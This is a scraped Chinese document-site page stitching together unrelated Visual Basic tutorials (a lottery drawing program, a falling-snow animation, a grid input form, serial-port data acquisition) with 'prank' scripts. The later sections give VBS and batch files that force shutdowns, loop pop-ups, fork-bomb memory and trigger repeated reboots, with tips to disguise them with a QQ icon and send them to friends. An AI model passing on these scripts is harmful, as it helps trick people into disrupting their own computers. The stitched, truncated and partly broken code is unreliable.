文档库 最新最全的文档下载
当前位置:文档库 › 用VB编了一个小程序来实现电脑抽奖的小功能

用VB编了一个小程序来实现电脑抽奖的小功能

用VB编了一个小程序来实现电脑抽奖的小功能
用VB编了一个小程序来实现电脑抽奖的小功能

用VB编了一个小程序来实现电脑抽奖的小功能,其原理如下:

主要利用VB中的Rnd函数,来实现随机查找和打乱排序的功能,从而实现随机抽奖的目的。Rnd函数的语法结构是Rnd[(number)],可选的number参数是 single或任何有效的数值表达式。Rnd函数返回小于1但大于或等于0的值。number 的值决定了 Rnd 生成随机数的方式。为了生成某个范围内的随机整数,可使用以下公式:

Int((upperbound - lowerbound + 1) × Rnd + lowerbound)

这里,upperbound 是随机数范围的上限,而 lowerbound 则是随机数范围的下限。

另外,程序中还使用了INI文件,Windows INI文件,可解释为Windows初始化文件。它是一种专门用来保存应用程序初始化信息和运行环境信息的文本文件。ini文件是一种文本文件,它可以通过Notepad等文本编辑器进行编辑。ini文件具有特定的格式。一个INI 文件是由若干个段(section)组成的,每个段中包含若干关键字(key)及相应的值(value)。创建应用程序自己的INI文件,通过INI文件保存应用程序的一些运行环境信息,然后在程序中读取INI文件中的设置信息并据以处理。一旦程序的运行环境需要变更,则可以通过直接修改INI文件,或在程序中提供专门的界面间接地修改INI文件来保证程序的可用性。

源程序及注释如下:

'窗体源程序

Option Explicit

Dim m_strNameArray() As MyName

Dim m_bIsStart As Boolean

Dim m_nNameIndex As Integer

Dim MAX_INDEX As Integer

Dim m_nSelectNum As Integer

'被选定数

Dim nScrollStep As Integer

Dim nScrollWidth As Integer

Dim bScrollState As Boolean

Dim nEnableSecond As Integer

Dim m_strTitle As String

Dim m_strAppTitle As String

Dim m_strScrollTitleLeft As String

Dim m_strScrollTitleRight As String

Private Sub Command_Start_Stop_Click()

If m_bIsStart = True Then

'按停止钮

m_bIsStart = False

Command_Start_Stop.Caption =

“开始"

Label_FlashName.Visible = True

Timer_FlashName.Enabled = True

Timer_ScrollName.Enabled = False

Label_FlashName =

m_strNameArray(m_nNameIndex).strName +“中奖了!"

m_strNameArray(m_nNameIndex).bIsSelect = True

m_nSelectNum = m_nSelectNum + 1

Dim Temp As MyName

Temp =

m_strNameArray(MAX_INDEX)

m_str Name Array(MAX-INDEX) = m_strNameArray(m_nNameIndex) m_strNameArray(m_nNameIndex) =

Temp

MAX_INDEX = MAX_INDEX - 1

If MAX_INDEX = 0 Then

MsgBox “非常感谢您使用本软件"

End If

Else '按开始钮

m_bIsStart = True

Command_Start_Stop.Caption = “停止" Command_Start_Stop.Enabled = False Timer_ScrollName.Enabled = True

Timer_FlashName.Enabled = False

Label_FlashName.Caption = “"

End If

End Sub

Private Sub Form_Load()

Form_Bouns.ScaleMode = 3

m_nNameIndex = 0

m_bIsStart = False

Timer_ScrollName.Enabled = True

Timer_ScrollTitle.Enabled = True Label_FlashName.Visible = False

Label_ScrollName.Caption = “" nEnableSecond = 0

'定义起始秒数

ReDimNameArray

'获得文本中的名字和打乱名字顺序nScrollStep = 5 '设定滚动字的步长nScrollWidth = Label_Congruation.Left

'设定title的移动宽度

bScrollState = False

'设定缺省的开始滚动方向为向左

m_nSelectNum = 0

'初始化被选定数为0

Init

'初始化本程序的界面

End Sub

Private Sub Timer_FlashName_Timer() '闪动中奖者姓名

If Label_FlashName.Visible = True Then

Label_FlashName.Visible = False

Else

Label_FlashName.Visible = True

End If

End Sub

Private Sub Timer_ScrollName_Timer() '滚动出现名字

If m_bIsStart = True Then

If m_nNameIndex >= MAX_INDEX Then

m_nNameIndex = 0

End If

m_nNameIndex =

m_nNameIndex + 1

If m_strNameArray(m_nNameIndex).bIsSelect = True Then If m_nNameIndex <

MAX-INDEX Then

m_nNameIndex =

m_nNameIndex + 1

Else

m_nNameIndex = 0

End If

End If

Label_ScrollName.Caption = m_str

NameArray(m_nNameIndex).strName

'End If

End If

End Sub

Private Sub Timer_ScrollTitle_Timer() '滚动“恭喜发财"字样If bScrollState = False Then '向左滚

nScrollStep = 10

Label_Congruation.Caption = m_strScrollTitleLeft

If nScrollWidth > 0 Then

nScrollWidth =

nScrollWidth - nScrollStep

Else

bScrollState = True

End If

Else '向右滚

nScrollStep = -10

Label_Congruation.Caption =

m_strScrollTitleRight

If nScrollWidth < Form_Bouns.ScaleWidth - Label_Congruation.Width Then nScrollWidth =

nScrollWidth - nScrollStep

Else

bScrollState = False

End If

End If

Label_Congruation.Left = nScrollWidth

'以下为8秒钟内使“停止"按钮有效

If nEnableSecond <= 49 Then

If m_bIsStart = True Then

nEnableSecond =nEnableSecond + 1

End If

Else

If m_bIsStart = True Then

Command_Start_Stop.Enabled = True

nEnableSecond = 0

End If

End If

End Sub

'动态定义数组

Private Sub ReDimNameArray()

Dim strMaxIndex As String

Dim nIndex As Integer

Dim bIsBegin As Boolean

bIsBegin = False

nIndex = 0

Open App.Path +“\name.txt" For Input As #1 '读文件Do Until EOF(1)

If bIsBegin = False Then

Line Input #1, strMaxIndex

nMaxIndex = Val(strMaxIndex)

MAX_INDEX = nMaxIndex - 1

ReDim m_strNameArray(0 To nMaxIndex - 1)

bIsBegin = True

Else

Line Input #1, m_strNameArray(nIndex).strName

m_strNameArray(nIndex).bIsSelect = False

nIndex = nIndex + 1

End If

Loop

'以下为打乱人员顺序10次

Dim i As Integer

Dim j As Integer

Dim Temp As String

For j = 0 To 10

For i = 0 To nMaxIndex - 1

nRandomNum = ((nMaxIndex - 1) × Rnd) '利用Rnd函数

Temp = m_strNameArray(i).strName

m_strNameArray(i).strName = m_strNameArray(nRandomNum).strName

m_strNameArray(nRandomNum).strName = Temp

Next i

Next j

End Sub

Private Sub Init() '读取INI文件

Dim X As Long

Dim lpFileName

Dim Temp As String × 50

lpFileName = App.Path +“\Sortition.ini"

X = GetPrivateProfileString(“SYSTEM",“AppTitle",“抽奖程序", Temp, Len(Temp), lpFileName)

m_strAppTitle = Trim(Temp)

Temp =“"

X = GetPrivateProfileString(“SYSTEM", "Title", "欢迎使用抽奖程序", Temp, Len(Temp), lpFileName)

m_strTitle = Trim(Temp)

Temp = “"

X = GetPrivateProfileString(“SYSTEM",“ScrollTitleRight", “恭喜发财!!!", Temp, Len(Temp), lpFileName) m_strScrollTitleRight = Trim(Temp)

X = GetPrivateProfileString(“SYSTEM",“ScrollTitleLeft", “龙年大发!!!", Temp, Len(Temp), lpFileName)

m_strScrollTitleLeft = Trim(Temp)

Form_Bouns.Caption = m_strAppTitle

Label_CompanyTitle.Caption = m_strTitle

End Sub

模块源程序:

'用于读取ini文件的API函数

Declare Function GetPrivateProfileString Lib “kernel32" Alias “GetPrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long

Public Type MyName

strName As String

bIsSelect As Boolean

End Type

由于程序利用的windows ini文件保存一些标题信息,因而可以方便的修改使用环境,及标题内容。

见ini文件内容:

[SYSTEM]

;应用程序的form名称

AppTitle=“风云电脑抽奖Test"

;窗口的内的标题(限9个字)

Title=“大抽奖"

;右滚动的文字(仅能为如下格式:XXXX!!!)

ScrollTitleRight=“恭喜发财!!!"

;左滚动的文字(仅能为如下格式:XXXX!!!)

ScrollTitleLeft=“祝您好运!!!"

如此一个小小的电脑抽奖程序便完成了。

以上程序在VB6.0 Windows98环境下编译通过

对于下雪的景象大家可能都不陌生,我们还是用VB来制作一个下雪的景象吧。其实制作这样一个下雪的景象并不复杂,它的原理是首先在底色为黑色的屏幕上随机画出许多白点(雪花),然后使这些雪花不断地向下移动(重画),反复循环,就成功地模拟了下雪的景象。下面是这个小程序,你可以修改其中的一些数据调整雪花的密度和雪花落下的快慢。

双击窗体写如下代码:

Dim Snow(1000, 2), Amounty As Integer

Private Sub Form_Load()

Form1.Show

DoEvents

Randomize

Amounty = 325

For J = 1 To Amounty

Snow(J, 0) = Int(Rnd * Form1.Width)

Snow(J, 1) = Int(Rnd * Form1.Height)

Snow(J, 2) = 10 + (Rnd * 20)

Next J

Do While Not (DoEvents = 0)

For LS = 1 To 10

For I = 1 To Amounty

OldX = Snow(I, 0): OldY = Snow(I, 1)

Snow(I, 1) = Snow(I, 1) + Snow(I, 2)

If Snow(I, 1) > Form1.Height Then

Snow(I, 1) = 0: Snow(I, 2) = 5 + (Rnd * 30)

Snow(I, 0) = Int(Rnd * Form1.Width)

OldX = 0: OldY = 0

End If

Coloury = 8 * (Snow(I, 2) - 10): Coloury = 60 + Coloury

PSet (OldX, OldY), QBColor(0)

PSet (Snow(I, 0), Snow(I, 1)), RGB(Coloury, Coloury, Coloury)

Next I

Next LS

Loop

End

End Sub

编写窗体的鼠标按下代码:

Private Sub Form_MouseDown(Button As Integer,Shift As Integer, X As Single, Y As Single)

unload me

End Sub

运行上面的小程序,就可以看到漫天的雪花在缓缓落下,地面上还会有积雪!鼠标单击可结束程

在编程中经常会遇到应用程序中要输入大量数据的问题,如果能在该程序中实现象电子表格那样的输入界面,就可以解决这个问题。

----VB虽提供了Grid网格控件,但其只具有显示输出功能,要使其能接受输入数据,必须对它加以改造,在计算机报刊中的许多文章都对此进行了探讨,但所用方法都不能令人满意,笔者经过摸索,找出以下办法,供有兴趣者参考。

----首先在VB5.0环境下Form1中放上各控件:Text1;Grid1;Command1;Command2;Vscroll1;Hscroll1。

----双击Form1打开Code窗口,编制程序代码。

Dim inputcolnum, inputrownum As Integer

Private Sub Command2_Click()

End

End Sub

Private Sub Form_Activate()

Text1.SetFocus ' 文本框获得焦点

End Sub

Private Sub Form_Load()

Grid1.ColWidth(0) = 540

Grid1.RowH eight(0) = 216 '单元格的宽和高

inputcolnum = 13

inputrownum = 15 '表中显示的列、行数

Grid1.Cols = 20

Grid1.Rows = 20 '表中总的列、行数

HScroll1.Height = 300

VScroll1.Width = 300 '水平和垂直滚动条的高、宽度

Grid1.Height = (inputrownum + 1) '

(Grid1.RowHeight(0) + Grid1.GridLineWidth * 12)

+ 12 + HScroll1.Height

'800×600象素时为12;640×480为15

Grid1.Width = (inputcolnum + 1) *

(Grid1.ColWidth(0) + Grid1.GridLineWidth * 12)

+ 12 + VScroll1.Width

'表的高、宽度

HScroll1.Width = Grid1.Width - VScroll1.Width

VScroll1.Height = Grid1.Height - HScroll1.Height

' 水平和垂直滚动条的宽、高度

HScroll1.Left = Grid1.Left

HScroll1.Top = Grid1.Top + Grid1.Height - HScroll1.Height

' 水平滚动条的位置

VScroll1.Left = Grid1.Left + Grid1.Width - VScroll1.Width

VScroll1.Top = Grid1.Top

' 垂直滚动条的位置

HScroll1.Min = 1

HScroll1.Max = Grid1.Cols - inputcolnum

VScroll1.Min = 1

VScroll1.Max = Grid1.Rows - inputrownum

' 水平和垂直滚动条的范围

Text1.Width = Grid1.ColWidth(0)

Text1.Height = Grid1.RowHeight(0)

' 文本框的宽、高度

Text1.Left = Grid1.Left + Grid1.ColWidth(0)

+ Grid1.GridLineWidth * 12

Text1.Top = Grid1.Top + Grid1.RowHeight(0

实时数据采集系统过去在DOS操作系统下一般是采用汇编语言开发制作。随着Windows操作系统的普及应用,数据采集及工业控制等软件的开发也上升到 Windows环境下。可视化软件开发平台的出现,为软件开发提供了强大的图形界面功能,使得开发出来的各种应用软件具有良好的人机交互功能。汇编语言的特点是功能强、运行速度快,但编程复杂、调试难,而高级语言具有良好的可读性及方便的调试手段。

Visual Basic 是Windows环境下简单、易学、高效的可视化编程语言开发系统,以其所见即所得的可视化界面设计风格和32位面向对象的程序设计等特点,已广泛地应用于各个领域,是很多计算机软件开发人员采用的开发工具。VB不但提供了良好的界面设计能力,而且在微机串口通信方面也有很强的功能。采用 VB开发Winodws下的数据采集和工业控制应用软件十分方便,尤其软件界面设计非常便捷,编程工作量较小,开发周期短,特别适合非计算机专业的工程技术人员掌握和使用。

2.MSComm控件特点

MSComm控件是Microsoft提供的扩展控件,用于支持 VB程序对串口的访问,该控制“隐藏”了大部分串口通讯的底层运行过程和许多烦琐的处理过程,同时支持查询方法和事件驱动通讯的机制,事件驱动通讯是交互方式处理串口事务的一种非常有效的方法,特别适合 Windows程序的编写。在串口通讯过程中,当发送数据、收到数据或产生传输错误时,触发MSComm控件的OnComm事件,然后可以

通过判断 CommEvent属性值获得事件类型,再根据事件类型进行相应数据处理。因此用其实现微机串口的数据通讯相当简单,以很少的程序代码就可以轻松实现串口的访问和数据通讯。

3.实时数据采集示例程序

下面给出的应用实例,通过对一台工业八通道实时检测仪表数据通讯协议进行分析,利用VB6.0开发微机通过串口对多通道工业仪表进行实时数据采集的编程技术。给出的程序代码具有通用性,并有详示,可以直接或稍加改动后用于其它数据采集或实时控制程序中。

3.1 仪表及其数据通讯协议

这台工业用八通道实时检测仪表,最多可同时接八路高精度位移传感器,用于测量多点微小形变或微量位移,仪表测量精度为0.01毫米,测量范围最大值为50毫米。该仪表带有一个9针的RS-232C串口,能与微机进行串口数据通讯,实时传送检测数据,通过微机软件处理可实现工业实时监控。

该仪表的串口数据通讯协议是:数据传输速率为9600bps,1位开始位,8位数据位,1位停止位,无奇偶校验位。仪表每秒通过串口发送200个字节数据,由于接入的位移传感器数量在 1-8路可调,所以发送的每帧数据长度不定长,随传感器数量多少而变化。仪表数据传输首先发送每帧数据的开始标志字节,该字节定义为二进制常数0FAH;然后发送1个字节的通道状态字节,该字节按位顺序每位代表相应的一路通道状态,某位是1则代表该通道接有位移传感器,某位是0则代表该通道未接位移传感器;从第三个字节开始按位移传感器接通的通道顺序发送采集数据字节,每道数据有三个字节,前2个数据字节采用压缩的BCD码编码方式,第1个数据字节是高位,第2个数据字节是低位,即一个字节表示两位十进制数,则两个字节表示四位十进制数,小数点采用固定形式,定义在两字节中间;第3个数据字节为符号字节,该字节第八位为1,即1xxxxxxx则为负数,第八位为0,即0xxxxxxx则为正数。

例如发送的字节数据为:0FAH 0B1H 26H 87H 8H 34H 62H 00H 37H 76H 0H 42H 53H 80H

0FAH为帧开始标志字节,第一道,第五道,第六道,第八道接有位移传感器,表示-26.87 34.62 37.76 -42.53。

3.2 部分参数的技术分析

3.2.1 仪表通讯传输速率为9600bps,则最快速度为1.0417ms发送一个字节;仪表每秒发送200个字节,平均5.0ms发送一个字节,在查询方式或连续读取串口数据时要在程序中添加循环等待程序,等待接收缓冲区收到足够的字节才能进行数据处理。

3.2.2 仪表发送每帧数据长度不定长,为了实现实时监测功能,接收数据的读取要尽可能的快速,则在程序开始运行时设置MSComm1的属性

RThreshold = 26 接收缓冲区收到26个字节产生OnComm事件

InputLen = 1 Input每次读取一个字节

等到程序接收到一帧完整数据后,计算出当前帧数据长度,再将Rthreshold属性修改为帧长度,则接收缓冲区在收到一帧数据后,MSComm控件才会触发一个OnComm事件,这样就会有更多的时间进行数据的计算和处理。

3.2.3 仪表每秒发送200个字节数据,微机收到一完整帧数据至少需要t(ms)时间(只接一道传感器t=25ms;接八道传感器t=130ms),然后再进行数据处理。如果微机在下一帧数据接收前即t ms内能将数据计算处理完毕,则接收缓冲区内只会保存有一帧数据,不会存有两帧以上数据,接收缓冲区的大小不会影响实时监测效果(接收缓冲区>=一完整帧长度),这时完全可以实现实时监测或实时控制;如果微机在t ms内不能将数据计算处理完毕,接收缓冲区设置的又很大,在数据计算处理完毕前,接收缓冲区内就会保存有两帧以上数据,而且一次工作时间越长,缓冲区内滞留数据帧就越多,数据采集和数据处理之间产生逐渐增大的额外时间差,当接收缓冲区充满后,时

间差不再增大,固定在某一值,部分数据因不能及时采集到接收缓冲区中,数据产生丢失现象,真实工作情况就会和微机处理结果产生较大的时间差,对实时监测和实时控制很不利,这种情况下接收缓冲区的大小就会影响实时监测效果,所以接收缓冲区设置不能过大,让部分数据丢失,以保证数据处理的实时性。

3.2.4 设置MSComm控件的接收数据模式采用二进制方式,即 InputMode=comInputModeBinary,但用Input属性读取数据时,不能直接赋值给 Byte 类型变量,只能通过先赋值给一个 Variant 类型变量,返回一个二进制数据的数组,再转换保存到Byte类型数变量中。

3.2.5 VB中有 Byte类型变量,但没有字节的位处理语句。通道状态字节的位处理要通过对该字节的值运算进行判断,符号字节的位处理则要判断符号字节的值是否大于127,大于127则为负数;压缩的BCD码存入Byte类型变量,VB系统只按十进制数处理,这要通过一个简单算法换算,解压BCD码才能还原成十进制表示数值。假如a是Byte类型变量,W是Single类型变量,将一个压缩的BCD 码存入 a中,则算法是:

W=(a\16)*10 + a-(a\16)*16

则W=a-(a\16)*6

3.3 程序代码

在(通用)(声明)中定义程序所用变量:

Dim ab(4) As Byte 注释:字节数据类型数组,用来存贮接收到的一组字节数据

Dim av As Variant 注释:用来从接收缓冲区读取数据

Dim i As Integer

Dim j As Integer

Dim w As Integer 注释:接收数据个数计数器

Dim b1 As Single

Dim b2 As Single

Dim WW As Single 注释:十进制检测值

Dim TD(8) as Boolean 注释:通道状态数组

Dim Wmax(8) As Single 注释:最大值数组

Dim Wmin(8) As Single 注释:最小值数组

在窗体中添加名为Command1的[开始]按钮和名为MSComm1的MSComm控件。

[开始]按钮的Click事件处理程序主要是对MSComm1控制的参数初始化设置,程序中大部分参数在设计时可在MSComm1控制的属性窗口中设置:

Private Sub Command1_Click() 注释:开始按钮

With MSComm1

.CommPort=2 注释:使用COM2

.Setting="9600,N,8,1" 注释:设置通信口参数

.InBufferSize=40 注释:设置MSComm1接收缓冲区为40字节

.OutBufferSize=2 注释:设置MSComm1发送缓冲区为2字节

.InputMode = comInputModeBinary 注释:设置接收数据模式为二进制形式

.InputLen = 1 注释:设置Input 一次从接收缓冲读取字节数为1

.SThreshold = 1 注释:设置Output 一次从发送缓冲读取字节数为1

.InBufferCount = 0 注释:清除接收缓冲区

.OutBufferCount = 0 注释:清除发送缓冲区

For i=1 to 8

Wmax(i) = -99 注释:最大值赋初值

Wmin(i) = 99 注释:最小值赋初值

Next i

w = 0 注释:数据个数计数器清零

.RThreshold = 1 注释:设置接收一个字节产生OnComm事件

On Error Resume Next 注释:改变错误处理的方式。

Err.Clear

If .PortOpen = False Then 注释:判断通信口是否打开

.PortOpen = True 注释:打开通信口

If Err Then 注释:错误处理

MsgBox "串口通信无效"

Exit Sub

End If

End If

End With

End Sub

为了达到实时数据采集目的,实时数据采集处理程序采用MSComm事件驱动方式。MSComm1_OnComm 的事件处理程序只处理comEvReceive事件,首先判断帧数据的开始字节,关闭OnComm接收事件,然后接收数据字节,将压缩BCD进行还原转换,再接收符号字节,判断数据符号,判断数据最大最小值,最后打开OnComm接收事件,等待下一次OnComm事件产生:

Private Sub MSComm1_OnComm()

With MSComm1

Select Case .CommEvent 注释:判断MSComm1通讯事件

Case comEvReceive 注释:收到Rthreshold个字节产生的接收事件

av = .Input 注释:读取一个接收字节

ab(1) = av(0) 注释:转换保存到字节数据类型数组

If ab(1) = 170 Then 注释:判断是否为数据开始标志,0FAH=170

.RThreshold = 0 注释:关闭OnComm事件接收

W=W+1 注释:计数器加1

av = .Input 注释:读取通道状态字节

ab(0) = av(0) 注释:转换保存到字节数据类型数

For i = 1 To 8 注释:通道状态数组复位

TD(i) = False

Next i

cn = 2 注释:帧长度赋初值,一个开始字,一个状态字

If ab(0) >= 128 Then 注释:判断第八通状态

TD(8) = True 注释:第八道是真

ab(0) = ab(0) - 128 注释:第7位置零

cn = cn + 3 注释:帧长度加3个字节 End If

If ab(0) >= 64 Then 注释:判断第七通状态 TD(7) = True 注释:第七道是真

ab(0) = ab(0) - 64 注释:第6位置零

cn = cn + 3 注释:帧长度加3个字节 End If

If ab(0) >= 32 Then 注释:判断第六通状态 TD(6) = True 注释:第六道是真

ab(0) = ab(0) - 32 注释:第5位置零

cn = cn + 3 注释:帧长度加3个字节 End If

If ab(0) >= 16 Then 注释:判断第五通状态 TD(5) = True 注释:第五道是真

ab(0) = ab(0) - 16 注释:第4位置零

cn = cn + 3 注释:帧长度加3个字节 End If

If ab(0) >= 8 Then 注释:判断第四通状态 TD(4) = True 注释:第四道是真

ab(0) = ab(0) - 8 注释:第3位置零

cn = cn + 3 注释:帧长度加3个字节 End If

If ab(0) >= 4 Then 注释:判断第三通状态

TD(3) = True 注释:第三道是真

ab(0) = ab(0) - 4 注释:第2位置零

cn = cn + 3 注释:帧长度加3个字节

End If

If ab(0) >= 2 Then 注释:判断第二通状态

TD(2) = True 注释:第二道是真

ab(0) = ab(0) - 2 注释:第0位置零

cn = cn + 3 注释:帧长度加3个字节

End If

If ab(0) >= 1 Then 注释:判断第一通状态

TD(1) = True 注释:第一道是真

cn = cn + 3 注释:帧长度加3个字节

End If

For i = 1 To 8 注释:

If TD(i) = True Then

av = .Input 注释:读取第一个数据字节(BCD码高位字节)

ab(2) = av(0) 注释:转换保存到字节数据类型数组

av = .Input 注释:读取第二个数据字节(BCD码低位字节)

ab(3) = av(0) 注释:转换保存到字节数据类型数组

av = .Input 注释:读取第三个接收字节(符号位字节)

ab(4) = av(0) 注释:转换保存到字节数据类型数组

b1 = ab(2) - 6 * (ab(2) \ 16) 注释:高位字节压缩BCD码转换为实数b2 = ab(3) - 6 * (ab(3) \ 16) 注释:低位字节压缩BCD码转换为实数

WW = b2 + b1 / 100 注释:数值组合,标定小数点

If ab(4) > 127 Then WW = -WW 注释:判断数据符号位

Label1(i-1) = Format(WW,"0.00") 注释:显示毫米单位数值,2位小数

If WW>Wmax(i) And WW<51 Then 注释:判断最大值,仪表在刚开始工作时有干扰,会传导一些乱码,位移传感器有参数偏差,最大值一般都略大于50毫米,所以取51为极限最大值,取-51为极限最小值。

Wmax(i) = WW

Label2(i-1)=Format(Wmax(i),"0.00") 注释:显示最大值

End If

If WW < Wmin(i) And WW > -51 Then 注释:判断最小值

Wmin(i) = WW

Label3(i-1)=Format(Wmin(i),"0.00") 注释:显示最小值

End If

End If

Next i

.RThreshold = cn 注释:打开MSComm1事件接收

Else

.RThreshold = 1

End If

Case Else

End Select

End With

End Su

用记事本编写整人小程序

不需要任何编程基础,不需要任何编程软件,只需使用电脑里自带的记事本软件就可以轻松编写出整人的小程序,甚至是病毒。。。。。。 首先,单击右键,新建一个文本文档,输入:msgbox"你是猪!" 然后,点击文件->另存为->保存类型:所有文件->文件名xxxx.vbs,名字随便起,但一定要记得把后缀名改为 .vbs。

然后打开刚保存的xxxx.vbs

哈哈,很好玩吧,双引号里的内容”你是猪!”可以随意更改,但双引号一定要用英文输入法来写。嗯,下面正式开始整人。。。。。。 按照前面说的,在记事本上输入如下图,并保存为55.vbs。

其中wscript.Sleep 500为停留500毫秒,可随便更改 下面这段代码就是一个启动关机程序的东东,300这个数是指300秒倒计时,这个数字也可以随便改,这段代码也可以独立保存出来作为一个关机程序 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" 打开这个文件,如果你点击“是”,你就会进入一个死循环中,就是不断地弹出对话框。解决方法是按下Alt+Ctrl+Delete键,选择“进程”,把wscript.exe结束掉。如果点击“否”,

则进入关机倒计时,解决方法是点击“开始”->“运行”,在对话框里输入shutdown -a ,再点击“确定”即可。 最后嘛,把这文件创建桌面快捷方式,然后把图标换了,换成QQ什么的,你懂的,呵呵。。。。。。当然,这种VBS编程还有很多好玩的地方,比如病毒,我也收藏有几个,由于我是一等一的良好市民,就不写上来了。 最后再送上一个程序: dim a do a=inputbox("输入123,否则关机。") if a="123" then msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧" WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 1000 exit do else msgbox"乖点,输入123" end if loop

VB程序代码(简单小程序)

实验一:(带有进度条的倒计时程序) Public Class Form1 Dim timers As Integer Dim temp As Integer Private Sub Timer1_Tick(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Timer1、Tick If(ProgressBar1、Value + ProgressBar1、Maximum / timers < ProgressBar1、Maximum) Then ProgressBar1、Value += ProgressBar1、Maximum / timers Else Timer1、Enabled = False ProgressBar1、Value = ProgressBar1、Maximum MessageBox、Show("进度完成!") End If temp += 1 Label1、Text = temp、ToString() End Sub Private Sub Form1_Load(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles MyBase、Load timers = 30 End Sub Private Sub Button2_Click(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Button2、Click timers = Val(InputBox("输入", "请输入总时间。", 30, 0, 0)) End Sub Private Sub Button1_Click(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Button1、Click Timer1、Enabled = True End Sub End Class 实验二(定时器控制蝴蝶飞舞) Public Class Form1 Dim t As Integer Private Sub Timer1_Tick(ByVal sender As System、Object, ByVal e As System、EventArgs) Handles Timer1、Tick ’Dim t As Boolean ' If t = True Then ' PictureBox3、Image = PictureBox2、Image ' t = False 'Else ' PictureBox3、Image = PictureBox1、Image ' t = True 'End If Select Case t Case 0 PictureBox3、Image = PictureBox1、Image

VB整人小程序:让整个屏幕雪花飘飘(改进)

当前位置:首页>VB 小程序> 让整个屏幕雪花飘飘(改进) 58. VB整人小程序:让整个屏幕雪花飘飘(改进) 这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。 本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。 本程序编译成 exe 文件运行后,只能通过系统“任务管理器”才能终止运行。程序运行效果截图如下: '' '本程序包含两个窗体,Form1 和 Form2,其中 Form1 是启动窗体。代码在在 VB6 调试通过: ''下面是 Form1 窗体代码:===================================== '' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体 '' 在窗体上放置一个控件:Timer1,不必设置任何属性 ''本人原创,转载请注明文章来源:https://www.wendangku.net/doc/3317871889.html,/100bd/blog/item/fbb5bdd5f0564910a08bb740.html Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long Private Type tySnow '定义表示雪花的数据类型 X As Single: xV As Single 'x 坐标、水平移动速度

整人电脑代码

第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机, 结束任务都不行,他只能说他是猪才能解决问题。够坏吧注意哦,你可以把我是猪那个修

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

